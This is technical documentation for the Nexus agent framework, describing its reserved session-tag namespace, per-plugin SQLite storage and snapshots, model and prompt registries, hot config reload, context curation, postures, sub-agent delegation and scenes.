Labels live in a single map[string]string, but a key’s first character decides which of two disjoint namespaces it belongs to:

Exactly one function decides which namespace a key belongs to: engine.IsReservedLabelKey (a strings.HasPrefix(key, "_") check). Every consumer that needs the same decision calls this one definition rather than re-implementing the prefix check — the core write handlers, the reads in nexus.tool.session_tags, ICM’s OperatorTemplateCtx.Context projection, and the <session_context> prompt builders in the ReAct, Orchestrator, and Subagent agent loops all share it. That means there is no way for two call sites in the codebase to disagree about what counts as reserved.

The request/announce events

Four event types cover every write to the label store:

The two before:* events follow the same shape every other vetoable request in Nexus does (before:io.input, before:tool.invoke, …): a subscriber can veto with a reason, and a caller emitting one of these gets exactly one outcome back — applied, or rejected with a reason. There is no second “apply” step after the veto check passes: the one handler in the core engine that checks the veto is also the only place that touches SessionMeta.Labels for the general path, because the engine is the only thing that knows how to mutate session metadata safely.

The two announce events fire from every successful write, regardless of which path produced it — the vetoable general path, or the reserved direct-Go-call path described below. A subscriber that wants to know “this session’s tags changed” only ever needs to watch these two event types; it never has to also know about the reserved namespace’s separate write mechanism to see a reserved key change.

Reading and enumerating

There is no before:session.tag.get/list request event — reads are synchronous and go straight to SessionMetadata().Labels, the same struct the write path persists to. nexus.tool.session_tags’s session_tag_get and session_tag_list tools read it directly rather than round-tripping through the bus. A reserved key is invisible to both: session_tag_get reports it as not found, identical to a key that was never set, and session_tag_list omits it from the result set entirely — not redacted, not flagged, simply absent, so a general-namespace enumeration carries no signal that a reserved key even exists.

Why the split is structural, not conventional

An identity tag like _principal_id and a business-context tag like tenant look identical on the wire: a string key, a string value, sitting in the same map. The tempting design is to let one code path handle both and trust callers to behave — never overwrite the identity key, never let an attacker-controlled tool argument reach it. Nexus does not take that bet.

The reserved-key check is enforced in exactly one place: the core engine’s handler for before:session.tag.set / before:session.tag.delete. It rejects a _-prefixed key unconditionally, with no veto exception and no caller-trust distinction — a request from a fully-trusted internal plugin and one from an untrusted tool call an agent invoked because a document told it to are rejected identically. The only sanctioned way to write a reserved key is a direct Go method call — SessionWorkspace.SetReservedLabel / DeleteReservedLabel — that never touches the bus at all, so there is no vetoable request an ordinary plugin could emit to reach it even if it wanted to.

That structural wall exists to protect one design rule:

Identity and general context must never be conflatable.

A tenant tag an agent set to steer its own behavior must never be able to silently become — or overwrite — the _principal_id an authenticated transport bound for the run. If both lived in one flat, unpartitioned namespace, “don’t touch the identity key” would only ever be a comment asking callers to behave, and the first tool call, misconfigured plugin, or prompt-injected request that happened to name that key would win by coincidence. Making the split a prefix the engine itself enforces — rather than a convention plugin authors are trusted to honor — turns “please don’t” into “cannot”, at the one point where every write, from any source, is forced to pass.

A second, narrower direct-Go seam exists for the same reason on the general side: SessionWorkspace.SetLabel writes a general-namespace key without a veto hop, for a caller that already sits on trusted, already-authenticated, already-decoded input and gains nothing from re-litigating it through a gate built for untrusted general writes. It still rejects a _-prefixed key defensively — a caller mistake here bypasses the general validation completely, and without the same check a client could smuggle a _-prefixed key in through this second path and land in the reserved namespace anyway.

Where general tags surface in prompts

A tag in the general namespace is not just a piece of session bookkeeping — several agent loops expose it to the LLM as ordinary prompt context, always through the shared engine.XMLWrap("session_context", ...) convention (see Prompt Registry) and always built by reading SessionMetadata().Labels fresh, filtering out every reserved key, and rendering what’s left as sorted key: value lines. A reserved key is filtered before rendering, not redacted after: it is never present in the string that gets wrapped, so there is no code path that first builds an unfiltered prompt and then removes the sensitive part.

Because filtering happens at read time rather than at write time, a tag written mid-session by any general writer is visible on the very next render — there is no cache to invalidate. Every one of these builders emits nothing at all (not even an empty <session_context/> tag) when there are no general-namespace labels currently set, so a session that never wrote a tag never adds noise to its own prompt.

• ReAct and Orchestrator (both the per-worker and the synthesis system prompt) each add a <session_context> section alongside their existing <skill_context> / <execution_plan> / <current_task> sections.
• Subagent prepends a <session_context> block ahead of its configured system prompt, when one applies.
• ICM exposes the same filtered map two ways: OperatorTemplateCtx.Context is available to the workspace’s operator.md template as {{ .Context.<key> }}, and — because that template only renders once, at posture-registration time, not on every turn — the per-turn <icm_turn> XML payload also carries a <session_context> block, rebuilt fresh on every dispatch. See ICM: Workspace layout and ICM: XML payload reference.

This is deliberately the only thing a general tag is used for by the core agent loops: influencing what the LLM sees. Nothing in the reserved namespace is ever exposed this way — an identity binding is metadata about who is running the session, not something the model should be told about or asked to reason over, and the same IsReservedLabelKey filter that keeps it off the bus keeps it out of every prompt too.

Who writes what today

No plugin can write the reserved namespace except through the direct Go methods, which are only ever called from core-adjacent, trusted code — never from a bus handler, and never from anything an agent’s tool calls can reach.

See also

• Sessions — the session tree and metadata this store is part of.
• Event Types → Session Tag Events — the full payload field tables for all four events.
• Configuration Reference → nexus.tool.session_tags — the opt-in tool plugin’s config keys.
• AG-UI Serve Transport — the identity bind/clear behavior that motivated the reserved namespace.

Per-Plugin Storage

Every plugin can request a SQLite-backed storage handle scoped at session, agent, or application level. The storage primitive is engine-native (no plugin needs to be activated) and is exposed through PluginContext.Storage.

The backend is modernc.org/sqlite — pure Go, no CGO, FTS5 included. WAL mode and a 5-second busy timeout are on by default.

Scopes

Multi-agent embedders (the desktop shell) set core.agent_id per engine instance so each agent gets its own ScopeAgent partition. CLI and single-agent embedders leave it empty, which collapses agent scope to app scope so plugins do not end up with two separate connection pools pointing at the same file.

The data root can be overridden via core.storage.root (defaults to ~/.nexus).

Plugin API

func (p *Plugin) Init(ctx engine.PluginContext) error {
    st, err := ctx.Storage(storage.ScopeSession)
    if err != nil {
        return err
    }

    // KV sugar — convenient for trivial put/get cases.
    if err := st.Put("last_run", []byte(time.Now().String())); err != nil {
        return err
    }
    val, ok, err := st.Get("last_run")

    // Raw SQL — for joins, transactions, virtual tables (FTS5).
    if _, err := st.DB().Exec(`CREATE TABLE IF NOT EXISTS jobs (
        id INTEGER PRIMARY KEY, payload TEXT
    )`); err != nil {
        return err
    }

    // Transactions.
    return st.Tx(func(tx *sql.Tx) error {
        _, err := tx.Exec(`INSERT INTO jobs(payload) VALUES(?)`, "work")
        return err
    })
}

Handles are pooled — repeated calls to ctx.Storage(scope) return the same underlying *sql.DB for that (scope, pluginID) pair. The handle lives for the lifetime of the engine; do not call Close on the returned *sql.DB.

The kv table is created lazily on the first KV-method call. Plugins that only use DB() never see it.

Configuration

See Configuration Reference for the authoritative list. The relevant block:

core:
  agent_id: ""                 # set by multi-agent embedders
  storage:
    root: ~/.nexus             # data root for app + agent scope
    busy_timeout_ms: 5000
    cache_size_kb: 2048
    pool_max_idle: 2
    pool_max_open: 4

Concurrency

App-scope storage is shared across every session on the machine. SQLite WAL mode handles concurrent readers cleanly, and writers serialize behind the busy timeout. Multiple processes (two CLIs sharing the same app-scope DB file) work but are not the design target — prefer agent or session scope for concurrent independent workloads.

Within a single process, Storage is safe for concurrent use across goroutines.

With an object-store backend configured, that rule gets sharper, because a shared root then has to survive being copied to and from a bucket:

• Two processes on one host share the same store.db file. SQLite’s WAL and busy timeout serialise them, so at any instant the file holds both processes’ committed writes and a snapshot of it is a superset of each. Both upload to the same key and the later upload wins — and it is a strict superset. Safe.
• Two processes on different hosts each have their own local copy and no shared serialisation point. Both upload to the same key at whole-database granularity, so the later flush silently discards the other host’s writes. This is not fixable at the seam: merging two SQLite databases is a schema-specific operation the engine has no basis to perform.

So the constraint with object storage is one writing host at a time per shared root — the same constraint the local filesystem already implied, stated out loud because a bucket makes it easy to violate by accident. Two mitigations are built in: hydration never overwrites a plugin directory that already exists locally, so a remote copy cannot clobber a live local database mid-run; and every uploaded database is checkpointed and VACUUM INTOd, so what lands remotely is always self-consistent rather than torn.

The constraint is still documented rather than detected here. Session trees carry an owner marker that makes a second writing host loud — see Sessions → Two hosts, one session — and the shared roots deliberately do not, because “who owns this root” is a different question from “who owns this session”: a root is machine-wide and outlives every session, so its holder is not a single engine run and its marker could not be claimed and released on one run’s lifecycle. Extending detection here is the mechanism that would turn the rule above from a documented constraint into a detected violation, and it is recorded as future work rather than smuggled into the session-scoped marker.

Checkpoints and snapshots

A store.db is only half a database while a writer is active: committed transactions live in store.db-wal until a checkpoint folds them back, and store.db-shm is a process-local index into that WAL. Copying store.db on its own gets a file that opens cleanly and is silently missing data — the reason cp store.db elsewhere is never a backup.

The manager exposes two operations for this:

• Manager.Checkpoint(scope) runs PRAGMA wal_checkpoint(TRUNCATE) on every open handle at a scope, folding the WAL back into the main file and resetting it to zero length. TRUNCATE rather than PASSIVE (which gives up silently the moment a reader is present) or FULL (which leaves the WAL at its high-water mark, so one large batch costs the session forever). It blocks on readers, bounded by the 5 s busy timeout.
• Manager.Snapshot(scope, destDir) checkpoints and then VACUUM INTOs each handle to <destDir>/<pluginID>/store.db, returning the live path, the snapshot path, its size, the checkpoint result and the elapsed time.

The two steps do different jobs and both are needed. The checkpoint makes the live file self-contained; VACUUM INTO makes the snapshot untearable, since it runs inside a read transaction and so cannot be torn by a plugin committing mid-copy. A plain io.Copy after the checkpoint would produce a corrupt rather than merely stale file in that case, which is strictly worse when the result is about to be uploaded over a good remote copy. VACUUM INTO also refuses an existing destination, so snapshotting over a live database is impossible by construction, and it compacts, so the snapshot is never larger than the live file. The driver is pure Go, so there is no CGO backup API available; this is the portable equivalent.

The cost is O(database size): roughly 220–265 MiB/s on an M1 Max (0.6 MiB → ~3 ms, 117 MiB → ~530 ms). BenchmarkSnapshot in pkg/engine/storage measures it.

Only handles the manager has actually opened are covered, which is the right set: a store.db in the tree with no handle has no writer in this process and is already static.

The engine’s object-store seam is the caller. It snapshots session-scope handles at every turn boundary and never uploads -wal, -shm or -journal sidecars, so the stored database restores on a host that has never seen them. See Sessions → Turn-boundary snapshots.

Object storage for app and agent scope

App- and agent-scope stores live outside every session tree, so they get their own key space beside sessions/ rather than inside one:

The key is derived from the live path by relativising it against <root>, so it follows the layout above by construction rather than by a second copy of the path rules. No session ID appears in either key, which is what preserves the lifetimes in the table at the top of this page: an app-scope store keyed under the session that flushed it would give every session its own copy, and a machine-wide ceiling like nexus.gate.token_budget’s tenant budget would silently become a per-session one. The engine refuses to produce such a key.

The lifecycle is:

1. Hydrate at boot, before any plugin can call ctx.Storage — the manager creates a plugin’s directory as a side effect of handing out a handle, so hydrating later would find every directory present and skip it. Hydration is per plugin directory: one that already exists locally is never touched (it may be open, and replacing a store.db under a live handle corrupts it), one that does not is pulled down through a staging directory and an atomic rename. A listing failure fails the boot, under both failure policies, for the same reason a failed session hydration does: carrying on would hand plugins an empty machine-wide store that the first turn boundary then uploads over the good one.
2. Snapshot at every turn boundary and at shutdown, with the same checkpoint-then-VACUUM INTO discipline, immediately after the session’s commit marker is published — so a shared-root outage never holds back a session that is otherwise fully durable.

Agent scope follows the manager’s collapse exactly: with core.agent_id empty, an agent-scope handle resolves to app scope and so does its key. Nothing is uploaded twice.

Shared roots have no owner marker. A shared root outlives every session, so the claim-on-Boot / release-on-Stop cycle the session marker uses has no counterpart here, and reusing that marker would produce one every session clobbers and every clean shutdown deletes while other runs are still writing. The consequence is that the split-brain detection sessions get does not exist for these stores — see Concurrency above, and Object Storage → Limitations.

See Configuration Reference → Beyond the session tree and Object Storage.

Model Registry

The model registry maps abstract role names to concrete model configurations. This lets plugins request a model by capability (e.g., “reasoning”, “quick”) without hardcoding specific model IDs.

Role-Based Model Selection

Define model roles in the core.models config section:

core:
  models:
    default: balanced        # Role to use when none specified
    reasoning:               # High-capability model for complex tasks
      provider: nexus.llm.anthropic
      model: claude-opus-4-20250514
      max_tokens: 16384
    balanced:                # General-purpose model
      provider: nexus.llm.anthropic
      model: claude-sonnet-4-20250514
      max_tokens: 8192
    quick:                   # Fast, cost-effective model
      provider: nexus.llm.anthropic
      model: claude-haiku-4-5-20251001
      max_tokens: 4096

How Roles Are Used

Plugins reference roles by name in their configuration:

nexus.planner.dynamic:
  model_role: reasoning     # Use the high-capability model for planning

nexus.memory.compaction:
  model_role: quick         # Use the fast model for summarization

nexus.agent.react:
  model_role: balanced      # Default agent model (optional, uses default role)

When a plugin emits an llm.request, the LLM provider resolves the role to a concrete model:

// Plugin requests by role
config, found := models.Resolve("reasoning")
// Returns: ModelConfig{Provider: "nexus.llm.anthropic", Model: "claude-opus-4-20250514", MaxTokens: 16384}

Resolution Rules

1. If the role name matches a defined role, return that config
2. If the role is empty, use the default role
3. If the role is not found but contains a hyphen (e.g., claude-sonnet-4-20250514), treat it as a raw model ID for backward compatibility
4. Otherwise, return not found

Provider Fallback Chains

Role values can be ordered arrays instead of single maps. First entry = primary, subsequent entries are tried in order when the primary fails with a non-retryable error or exhausts its retry budget.

core:
  models:
    balanced:
      - provider: nexus.llm.anthropic
        model: claude-sonnet-4-20250514
        max_tokens: 8192
      - provider: nexus.llm.openai
        model: gpt-4o
        max_tokens: 8192
    quick:
      provider: nexus.llm.anthropic    # single entry = no fallback
      model: claude-haiku-4-5-20251001

Single-map format is backward compatible — parsed as a chain of length 1.

Requires: nexus.provider.fallback in plugins.active + both provider plugins active.

Trigger conditions: Fallback occurs when a provider error is non-retryable (4xx except 429, auth failures), or when the provider’s own retry logic (429, 5xx backoff) has exhausted max_retries.

Streaming partial failure: If a provider fails mid-stream, the fallback plugin emits io.output.clear to wipe partial content, then provider.fallback notification, then re-emits llm.request targeting the next provider. Clean restart — no spliced output from two models.

Provider Fanout

Roles with fanout: true send requests to all listed providers in parallel instead of sequential fallback. The fanout plugin collects responses and returns them as a single LLMResponse with Alternatives.

core:
  models:
    compare:
      fanout: true
      providers:
        - provider: nexus.llm.anthropic
          model: claude-sonnet-4-20250514
          max_tokens: 4096
        - provider: nexus.llm.openai
          model: gpt-4o
          max_tokens: 4096

Requires: nexus.provider.fanout in plugins.active + all listed provider plugins active.

Deadline: Configurable via nexus.provider.fanout.deadline_ms (default 30s). If a provider doesn’t respond in time, the fanout proceeds with available responses.

No per-leg fallback: A fanout provider that fails is simply marked as failed. Fallback chains and fanout are separate concepts — a role is either a fallback chain or a fanout group, not both.

API

type ModelConfig struct {
    Provider  string  // Plugin ID of the LLM provider
    Model     string  // Model identifier string
    MaxTokens int     // Maximum tokens for this model
}

type ModelRegistry struct {
    Resolve(role string) (ModelConfig, bool)              // Primary model for a role (index 0)
    Fallback(role string, attempt int) (ModelConfig, bool) // Model at chain index
    ChainLen(role string) int                             // Number of entries in fallback chain
    IsFanout(role string) bool                            // Whether a role uses parallel fanout
    FanoutProviders(role string) []ModelConfig            // All providers in a fanout role
    Default() ModelConfig                                 // Get the default model
    Roles() []string                                      // List all registered role names
}

Default Role

The default key in the models config is a string alias pointing to another role:

models:
  default: balanced   # When no role specified, use "balanced"

This means models.Resolve("") and models.Default() both return the balanced config.

Prompt Registry

The prompt registry allows plugins to inject dynamic sections into the system prompt at runtime. This is how skills catalogs, dynamic variables, and other context get appended to the agent’s system prompt without hardcoding.

How It Works

1. Plugins register prompt sections during initialization, each with a name and priority
2. When the LLM provider builds a request, it calls prompts.Apply(systemPrompt) to assemble the final prompt
3. Each registered section function is called — if it returns a non-empty string, that content is wrapped in an XML <prompt_section> tag and appended
4. Sections are appended in priority order (lower priority numbers first)
5. If a base system prompt is provided, it’s wrapped in <system_instructions> tags

XML Structure

All prompt content uses XML tag boundaries for clean structural separation. The assembled prompt looks like:

<system_instructions>
You are a helpful assistant.
</system_instructions>

<prompt_section name="skill-catalog">
<available_skills>
  <skill name="code-review" scope="project">
    <description>Review code for quality, bugs, security issues, and style.</description>
  </skill>
</available_skills>
</prompt_section>

<prompt_section name="dynvars">
- Date: 2026-04-08
- OS: darwin
- CWD: /Users/frank/projects/myapp
</prompt_section>

Registering a Section

func (p *MyPlugin) Init(ctx engine.PluginContext) error {
    ctx.Prompts.Register("my-context", 50, func() string {
        return "Some dynamic information here."
    })
    return nil
}

The function is called every time a prompt is assembled, so it can return different content based on current state. The returned content is automatically wrapped in <prompt_section name="my-context"> tags by the registry.

Built-in Sections

Agent-Level Semantic Tags

Beyond the structural <prompt_section> wrapping, each agent type uses semantic XML tags for its dynamic content:

See Session Tags for what populates Labels, the reserved-prefix filter that keeps _-prefixed keys out of every prompt, and ICM’s equivalent (OperatorTemplateCtx.Context and the per-turn <session_context> payload block, both outside the prompt-registry machinery on this page).

User-provided content and LLM outputs are wrapped in CDATA blocks to prevent parsing conflicts.

XML Helpers

Shared XML utilities in pkg/engine/xml.go:

engine.XMLWrap("tag", content, "attr", "value")  // wrap content in <tag attr="value">...</tag>
engine.XMLTag(&builder, "tag", "attr", "value")   // write opening tag
engine.XMLClose(&builder, "tag")                   // write closing tag
engine.XMLCDATA(content)                            // wrap in <![CDATA[...]]>
engine.XMLEscape(s)                                 // escape &, <, >, "

API

type PromptSectionFunc func() string

type PromptRegistry struct {
    Register(name string, priority int, fn PromptSectionFunc)
    Unregister(name string)
    Apply(systemPrompt string) string
}

• Register — Adds a named section. If a section with the same name already exists, it is replaced.
• Unregister — Removes a named section.
• Apply — Takes the base system prompt, wraps it in <system_instructions>, and appends all registered sections wrapped in <prompt_section> tags, in priority order.

Use Cases

• Skill catalogs — The skills plugin registers available skills so the agent knows what’s available
• Dynamic variables — The dynvars plugin injects current date/time and system info
• Custom context — Your plugins can inject any context the agent should be aware of

Hot Reload

Engine.ReloadConfig(newConfig *Config) error applies a config change to a running engine without restarting unaffected plugins. Phase 5 of Idea 10 (engine resilience) introduced it; the design is intentionally cautious so operators can adjust gate thresholds, model assignments, and tool allowlists in production without dropping every active session.

Architecture

The reload runs in two phases.

1. Validate (atomic)

• The new config is run through the same JSON-schema validation pass that Boot performs. Every active plugin’s ConfigSchemaProvider is re-checked against the new config map; engine-level fields (engine.shutdown.drain_timeout, engine.config_watch) are validated against the engine schema (pkg/engine/engine_schema.json).
• Capability provider identity is pinned. If a capability bound at boot (e.g. memory.history) would resolve to a different concrete plugin under the new active set, the reload is rejected. The session has in-flight state bound to the existing provider; a silent swap would strip the operator’s history.
• The active-set diff is computed: which IDs are added, which removed, which kept with a config change.

Any error here returns immediately. The engine is unchanged.

2. Apply (best-effort)

The diff is walked:

Atomicity caveat

The validate phase is atomic — failures here leave the engine state untouched. The apply phase is best-effort. If a per-plugin ReloadConfig or Init / Ready fails partway through, prior changes have already taken effect (a restarted plugin has already re-subscribed to the bus and may have written to journals or storage). The engine logs the failure and surfaces it to the caller; we do not attempt to roll back. “Undoing” a Shutdown is not generally possible — the plugin’s in-memory state is gone.

If a partial reload leaves the engine in a state the operator dislikes, re-issue ReloadConfig with the previous config to revert.

ConfigReloader opt-in

// pkg/engine/plugin.go
type ConfigReloader interface {
    ReloadConfig(old, new map[string]any) error
}

A plugin that implements ConfigReloader receives the in-place hook on a config-only change instead of going through the restart path. Both paths are supported; the hook is purely an optimization for plugins where a full restart would drop in-progress work (e.g. an HTTP listener with established WebSocket connections, an MCP client mid-stream).

Implementations must be transactional from the bus’s perspective: returning an error must leave the plugin in its prior state — bus subscriptions, in-memory data, persisted scratch — unchanged. The engine makes no attempt to restart on top of a failed in-place reload.

Capability pinning

Capability provider identity is pinned for the lifetime of a session. The constraint is enforced in the validate phase: if a capability that the running engine has resolved (e.g. memory.history → nexus.memory.capped) would resolve to a different provider in the new config, the reload is rejected with the error:

capability provider "memory.history" cannot change at runtime (nexus.memory.capped -> nexus.memory.summary_buffer); restart required to rebind session state

Restart the engine to change capability providers — the new session boots with the new provider from clean state.

Triggers

Three triggers feed ReloadConfig:

SIGHUP (CLI)

The cmd/nexus binary’s main loop intercepts SIGHUP, re-reads the original -config path, and calls ReloadConfig. SIGINT and SIGTERM continue to terminate the engine.

kill -HUP $(pgrep -f 'nexus -config')

POST /admin/reload-config (browser plugin)

When nexus.io.browser is active, its HTTP server exposes POST /admin/reload-config. Body is empty (re-read the original path) or {"path": "/abs/path/to/new.yaml"} for an ad-hoc reload. The endpoint returns 200 OK with {"ok": true} on success or 400 with {"ok": false, "error": "..."} on a validation failure; a stuck reload returns 504 after 30s.

No auth layer yet — alpha-only; front with a reverse proxy if exposed. Implementation lives in plugins/io/browser/server.go.

fsnotify watcher

Off by default. Opt in via:

engine:
  config_watch:
    enabled: true
    debounce: 1s

The CLI starts a watcher on the -config path and fires ReloadConfig after each debounced edit. The watcher lives in pkg/engine/configwatch/. It watches the parent directory rather than the file itself because editors that swap-on-save (Vim’s default) replace the file’s inode — a watcher on the original path would miss the swap.

The debounce window collapses bursts of Write/Create events on the same path into a single reload. Editors commonly fire two or three Write events when saving; reading a half-written YAML through the validator would surface a confusing schema error. 1s is well above the typical storm and short enough that the operator perceives the reload as instant. Tune downward for fast feedback during dev; leave at the default (or higher) in production where rapid re-saves rarely happen.

Bus events

External triggers can also dispatch core.config.reload.request on the event bus and listen for core.config.reload.result. The browser admin endpoint uses this internally — the engine subscribes to the request event during Boot and emits the result back. Custom plugins or embedders that don’t want to hold an *Engine reference can use the same path.

Code locations

Context Engineering

The conversation history is the LLM’s working memory. Every byte costs tokens, slows the model, and competes with other content for attention. Nexus exposes a layered context-curation stack so operators can shed weight aggressively without losing the reasoning chain.

Layers

The stack runs in cost order on every before:llm.request. Cheaper deterministic layers fire first; LLM-touching layers run only when the prior layers leave the request still over budget.

Curators never edit the static section — system prompt and operator-set content are off-limits.

Stability Descriptor

Every layer emits a memory.curated envelope event carrying a stability-impact descriptor:

type MemoryCurated struct {
    Layer            string             // which layer ran
    SectionsTouched  []CurationSection  // section_id, kind, tokens_delta
    CacheInvalidates bool               // does any touched section cross the cache prefix?
    AtTurn           int                // turn boundary
}

CurationSection.Kind is one of:

• volatile — recent turns; no cache impact.
• session — session-long content (compaction summary, tool definitions); controlled re-cache, charged once and amortised.
• static — system prompt / tool defs (forbidden — curator must not touch).

A future cache-aware prompt builder (Idea 05) consumes this descriptor to scope re-cache cost. Until that lands, curations batch at turn boundaries to keep cache invalidations predictable.

Replay Determinism

Curation is heuristic and classifier-driven, so curators emit one event per decision (memory.tool_result_cleared, memory.tool_def_pruned, memory.topic_shift_detected, memory.summary_replaced). The durable journal (Idea 01) records every envelope so replay reproduces curation by replaying decisions, not by re-running heuristics.

Provider-side vs Harness-side

Anthropic’s server-side tool_result_clear and system_message_edit primitives, and OpenAI Responses API truncation policies, do similar work in-provider. Nexus defaults to harness-side curation for portability — every layer works the same regardless of which provider the request lands on. Provider-native primitives can be enabled as an opt-in optimisation when the configured provider supports them.

Eval-Driven Tuning

The eval harness (Idea 07) supports curation-on/off pivots so operators can compare task-success-rate against the cost savings of an aggressive preset. Keep defaults conservative until eval data justifies tightening.

Composing the Stack

A typical full stack:

plugins:
  active:
    - nexus.agent.react
    - nexus.memory.summary_buffer       # base history with reasoning-preserving summary
    - nexus.memory.tool_result_clear    # layer 1
    - nexus.memory.tool_def_pruner      # layer 2
    - nexus.memory.topic_pruner         # layer 3
    - nexus.discovery.progressive       # complements layer 2 (class-level scoping)
    - nexus.gate.context_window         # last-resort compaction trigger

Layer 5 (compaction-and-restart) is implicit when the context-window gate fires the existing nexus.memory.compaction coordinator.

Postures

A posture is a registered, named, versioned configuration that describes how a sub-agent should run: which system prompt, which subset of tools, which model, and what default resource budget. Postures are the contract that the delegate runtime resolves at invocation time, and the value operators tune in production to change agent behavior without code changes.

Schema

type AgentPosture struct {
    Name              string         // Registry key parent agents reference
    Description       string         // Human-facing copy (introspection prompts)
    SystemPrompt      string         // The posture's prompt
    AllowedTools      []string       // Closed list of permitted tool names
    OutputSchema      string         // Named schema validated against final output (optional)
    Model             ModelConfig    // Model tier / explicit Provider+Model override
    DefaultBudget     ResourceBudget // Timeout, MaxTokens, MaxToolCalls
    MaxRecursionDepth int            // Per-posture depth cap (0 falls back to runtime MaxDepth)
    Version           string         // Content hash, assigned by the loader / registry
}

type ResourceBudget struct {
    Timeout      time.Duration
    MaxTokens    int
    MaxToolCalls int
}

pkg/posture defines the type and an in-memory Registry. The nexus.agent.postures plugin loads YAML from disk and exposes the posture.registry capability.

YAML

Postures live in a directory of *.yaml files. The filename (minus extension) supplies a fallback name if the YAML omits one. Example:

name: analyst
description: deep reader; quotes sources verbatim
system_prompt: |
  You are a careful analyst. Cite sources by URL. Be concise.
allowed_tools:
  - web_search
  - web_fetch
  - read_pdf
output_schema: analyst_report
model:
  model_role: reasoning
  max_tokens: 4000
default_budget:
  timeout: 60s
  max_tokens: 50000
  max_tool_calls: 20
max_recursion_depth: 2

Versioning

The registry hashes each posture’s content (name, system prompt, allowed tools, output schema, model selectors) into a 16-character Version string. Two postures with the same Name but different content are not “different versions” — the new content replaces the old, but the Version change flows into the delegate result cache key, invalidating any stale entries automatically.

Hot reload

nexus.agent.postures watches every configured scan_dirs entry with fsnotify. Edits and adds re-load the affected file after a small debounce (debounce_ms, default 250ms); deletes drop the posture from the registry. Active sub-sessions keep their old configuration; new invocations resolve the new one. This is how operators tune prompts in production without restarts.

The watcher swallows individual parse errors with a WARN log — a single malformed file does not block the rest from registering.

Capability resolution

The plugin advertises:

Capabilities: posture.registry

The delegate plugin requires this capability, so the lifecycle manager pins the active provider at boot and the delegate runtime resolves the registry through LookupPlugin without plugin-to-plugin imports or bus handshake races.

Watching change events

Operators that want to react to posture edits (warm caches, alert on removals) can subscribe to the posture.registered / posture.removed bus events; see the events reference. The in-process posture.Registry.Watch(ctx) channel provides the same notifications inside the process for plugins that need them.

Configuration

See nexus.agent.postures in the configuration reference.

Sub-agent Delegation

Delegation is the first-class operation a parent agent uses to call another agent with a different reasoning posture, system prompt, allowed-tools subset, and resource budget. From the parent’s perspective a delegate call is a single tool invocation; underneath, the runtime spawns a sub-session that has its own context window, its own envelope identity (Causation.AgentID and Depth), and its own budget.

The runtime lives at pkg/delegate.Runtime; the tool surface is the nexus.agent.delegate plugin.

Lifecycle of a call

1. The parent’s LLM emits a delegate tool call.
2. The plugin resolves the posture by name through the posture registry.
3. The runtime checks recursion depth (per-posture max_recursion_depth first, then the global MaxDepth).
4. The runtime computes a cache key. On a hit, the cached Output returns immediately as StatusCacheHit — no model calls, no tool calls, no budget consumption.
5. The runtime pushes a CausationContext carrying the sub-agent’s AgentID and Depth, then enters the isolated LLM loop.
6. Each iteration emits an llm.request tagged with the sub-session’s source, collects the response, runs any tool calls (filtered to the posture’s AllowedTools), and appends results to the sub-session’s history.
7. The loop exits on a tool-call-free response (StatusSuccess), budget exhaustion (StatusPartial), error (StatusError), timeout (StatusTimeout), or ctx cancel (StatusCancel).
8. Successful and partial outputs are cached. The final tool.result returns the Output to the parent agent as JSON.

Budgets

Budgets are non-negotiable, enforced by the runtime, and resolved per-call:

type Overrides struct {
    MaxTokens    int
    MaxToolCalls int
    Timeout      time.Duration
}

Per-call overrides win when non-zero; otherwise the posture’s DefaultBudget applies. Timeout becomes a context.WithTimeout around the loop. MaxTokens is checked after each LLM response and short-circuits with StatusPartial. MaxToolCalls is checked before dispatching each tool batch and likewise short-circuits with StatusPartial.

The parent receives the Output.Status and decides whether to retry with a larger budget, fall back to handling the task itself, or surface the partial result.

Recursion

Sub-agents can themselves call delegate. Two caps gate the depth:

• The runtime’s MaxDepth (default 3, configurable via the plugin’s max_depth) is the global ceiling.
• Each posture may set max_recursion_depth to tighten the ceiling for itself.

Exceeding either cap returns ErrRecursionLimit (StatusError) without spinning up a sub-session.

Caching

The runtime’s Cache interface (default: MemoryCache, an in-process LRU) keys results on the SHA-256 of:

• Posture Name
• Posture Version (the content hash; edits invalidate cached results)
• The Task string
• The canonicalized Context map (keys sorted, values JSON-marshaled)
• The sorted AllowedTools list

Cache hits return Status = cache_hit and a fresh SubSessionID; Elapsed reflects only the lookup time. Operators can plug in a Redis-backed cache by implementing the Cache interface and assigning it on the runtime.

The cache is bypassed for errors and timeouts — operators want a retry to re-execute, not replay a transient failure.

Tool filtering

AllowedTools is a closed list. The runtime snapshots the live tool catalog on every invocation, intersects it with AllowedTools, and offers only the intersection to the sub-agent’s LLM. An empty list means “all tools the catalog currently advertises” — useful for trusted postures.

Observability

Every call emits a delegate.start / delegate.complete pair on the bus; see the events reference. Every LLM and tool envelope from inside the sub-session carries the sub-agent’s AgentID and Depth so observability tooling (otel spans, log shipping) can attribute the work.

Public API

type Input struct {
    Posture     string
    Task        string
    Context     map[string]any
    ParentTurn  string
    ParentDepth int
    Overrides   Overrides
}

type Output struct {
    Result        string
    Status        Status // success / partial / error / timeout / cancelled / cache_hit
    Error         string
    TokensUsed    int
    ToolCallsUsed int
    Elapsed       time.Duration
    SubSessionID  string
    PostureName   string
    PostureVer    string
    Depth         int
}

func (r *Runtime) Run(ctx context.Context, in Input) (Output, error)

Configuration

See nexus.agent.delegate in the configuration reference.

Scenes

A Scene is a named, structured, mutable entity that lives for the lifetime of a session. Agents use scenes to construct durable visual output (charts, dashboards, multi-section documents) that is addressable across tool calls, patchable over time, and persisted to disk.

The runtime is schema-agnostic — Nexus stores the content blob and journals patches; downstream renderers (UIs, exporters) interpret the schema-specific content.

Schema

type SceneHandle struct {
    ID        string // Stable, session-scoped — "scene_<hex>"
    SessionID string
    Schema    string // Names the schema the content conforms to
    Version   int    // Incremented on each patch
}

type Scene struct {
    Handle    SceneHandle
    Content   any          // Current state
    CreatedAt time.Time
    UpdatedAt time.Time
    History   []SceneEvent
}

type SceneEvent struct {
    Sequence  int
    Timestamp time.Time
    AgentID   string
    Patch     any
    Initial   bool
}

pkg/scene defines these types plus the Store interface that nexus.scene implements with a goroutine-safe in-memory backend.

Behavior

• Stable IDs. Scene IDs are session-scoped and never change after creation. Agents reference them by ID in subsequent tool calls.
• Patches are journaled. Every patch appends a SceneEvent to the scene’s in-memory history and a JSONL line to <session>/plugins/nexus.scene/scenes.jsonl. This is the substrate the replay primitive reads to reconstruct historical state.
• Bus events. Creation, patching, and deletion each emit a scene.* event — see the events reference. agent_id flows from Event.Causation.AgentID so a sub-agent’s contribution is attributable.
• Schema is advisory. The runtime does not validate content against the named schema; renderers do.
